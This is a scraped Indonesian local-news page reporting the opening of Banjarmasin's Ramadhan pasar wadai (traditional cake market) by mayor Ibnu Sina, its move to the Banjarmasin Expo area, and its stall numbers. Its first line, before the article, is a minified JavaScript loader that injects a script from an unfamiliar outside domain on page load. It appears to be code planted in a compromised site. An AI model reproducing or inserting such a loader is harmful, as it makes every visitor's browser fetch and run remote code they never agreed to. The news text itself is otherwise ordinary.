(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Kehadiran Pasar Wadai Kian Menyemarakkan Ramadhan di Banjarmasin


BANJARMASIN, Pasar wadai Ramadhan resmi dibuka Walikota Banjarmasin Ibnu Sina, Senin (6/5). Ia berharap kehadiran pasar wadai bisa jadi promosi ragam kuliner khas kota Banjarmasin sekaligus momentum untuk memajukan pariwisata.

Tidak kurang dari 30 tahun, pasar wadai di Banjarmasin telah menjadi ajang tahunan menyambut bulan suci Ramadhan. Namun tidak seperti lokasi biasanya yang bertempat di kawasan siring kantor Walikota, kini pasar wadai berpindah tempat tepat di kawasan Banjarmasin Expo tepat di sebelah Taman Kamboja.

Selain jadi ajang promosi kuliner khas dan pariwisata Banjarmasin, pasar wadai ini juga menjadi salah satu event yang masuk di dalam 36 kalender event kota Banjarmasin sepanjang 2019.

Ada 150 lapak pasar wadai dan 100 lapak pedagang kaki lima yang hadir untuk memeriahkan pasar wadai. Pasar wadai ini juga mendapat bantuan langsung dari Kementerian Pariwisata RI yang kabarnya minggu depan akan menghadirkan artis ibu kota. “Tahun ini lebih banyak stand dari tahun kemaren, PKL juga kami akomodir. Kami berharap lokasi ini bisa representatif untuk mewujudkan agenda kalender event ke-6 kota Banjarmasin,” terang Ibnu Sina.

Dengan adanya pasar wadai ini Ibnu Sina berharap masyarakat yang ingin berpuasa tidak perlu lagi mencari wadah berbuka puasa yang jauh. Di samping juga kegiatan ini ia harapkan dapat meningkatkan geliat ekonomi Banjarmasin dengan produksi kuliner kue khas Banjar.

“Ada 41 kue khas dan sesuai perwali yang sudah diterbitkan 2018 lalu, kue khas Banjar itu Masubah asli Sungai Jingah, Kararaban, dan Ipau. Kalau makanan, Soto Banjar dan Nasi Astakora. Ini juga terus kami sosialisaikan agar semakin banyak peminatnya,” harapnya.

Berbeda dengan pasar wadai di kawasan siring, pasar wadai kali ini mencakup wilayah yang lebih luas sehingga para pengunjung tidak berdesakan dibanding pasar wadai sebelumnya. Apalagi mengingat tepat di sebelahnya ada Taman Kamboja yang bisa dikunjungi warga usai mengunjungi pasar wadai dan Air Mancur menari disampaikan oleh Ibnu Sina akan dihidupkan sepanjang malam bulan Ramadhan.

Meski mau tidak mau harus diakui, perpindahan lokasi pasar wadai ini menjadi salah satu penyebab semakin padatnnya jalan Pangeran Samudera yang merupakan kawasan Taman Kamboja dan sekitarnya.(mario)

Reporter:Mario
Editor:Cell

Desy Arfianty

Recent Posts

Pungut Sampah Suporter Timnas Pasca Nobar di Balai Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Suporter setia Timnas Indonesia di Kota Banjarbaru Kalimantan Selatan (Kalsel) kompak membersihkan… Read More

51 menit ago

Sah! Ini Nama 45 Calon Terpilih Anggota DPRD Kabupaten Banjar 2024-2029

Golkar dan Gerindra Masing-masing 8 Kursi, PDIP, Partai Gelora, dan PBB Kebagian 1 Kursi Read More

2 jam ago

Tok! KPU Banjarbaru Sahkan 30 Calon Terpilih Anggota DPRD Kota Banjarbaru, Ini Daftar Lengkapnya

13 Kursi Diisi Pendatang Baru, 17 Petahana Bertahan di Gedung Dewan Read More

5 jam ago

Buka Musrenbang RPJD 2025 – 2045, Ini Harapan Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Musrenbang… Read More

13 jam ago

Mahasiswa Prodi Gizi Belajar Penyelesaian Sengketa Medis di RSD Idaman

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 49 mahasiswa Diploma III Program Studi Gizi Poltekkes Kemenkes Banjarmasin melaksanakan… Read More

14 jam ago

Mahasiswa Minta Perbaikan Gaji Guru Honorer di Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unjuk rasa BEM se Kalimantan Selatan (Kalsel) di depan gedung DPRD Provinsi… Read More

14 jam ago

This website uses cookies.